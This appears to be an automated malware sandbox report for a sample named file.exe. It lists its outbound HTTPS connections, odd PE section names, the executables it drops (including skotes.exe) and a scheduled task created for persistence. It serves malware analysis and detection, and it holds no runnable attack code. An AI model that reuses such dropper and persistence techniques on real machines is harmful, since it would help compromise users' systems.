Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50110 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 50121 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50109 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50116 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50106
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50107
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50116
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50119
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50118
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50110
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50113
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50112
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50127 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50127
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50122
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50121
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50124
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50125
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50125 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50138
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50130
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50137
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.6:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.23.161.164:443 -> 192.168.2.6:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49872 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:49967 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49978 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.6:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:50116 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name:
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsIJEGDBGDBF.exe.0.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name:
Source: random[1].exe.25.dr	Static PE information: section name: .rsrc
Source: random[1].exe.25.dr	Static PE information: section name: .idata
Source: random[1].exe.25.dr	Static PE information: section name:
Source: f3f60a7f50.exe.25.dr	Static PE information: section name:
Source: f3f60a7f50.exe.25.dr	Static PE information: section name: .rsrc
Source: f3f60a7f50.exe.25.dr	Static PE information: section name: .idata
Source: f3f60a7f50.exe.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: random[1].exe0.25.dr	Static PE information: section name: .idata
Source: random[1].exe0.25.dr	Static PE information: section name:
Source: d6d730409e.exe.25.dr	Static PE information: section name:
Source: d6d730409e.exe.25.dr	Static PE information: section name: .idata
Source: d6d730409e.exe.25.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C9BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C95F280

Source: C:\Users\user\DocumentsIJEGDBGDBF.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9535A0	0_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966C80	0_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B34A0	0_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BC4A0	0_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4D0	0_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9664C0	0_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996CF0	0_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4E0	0_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995C10	0_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2C10	0_2_6C9A2C10
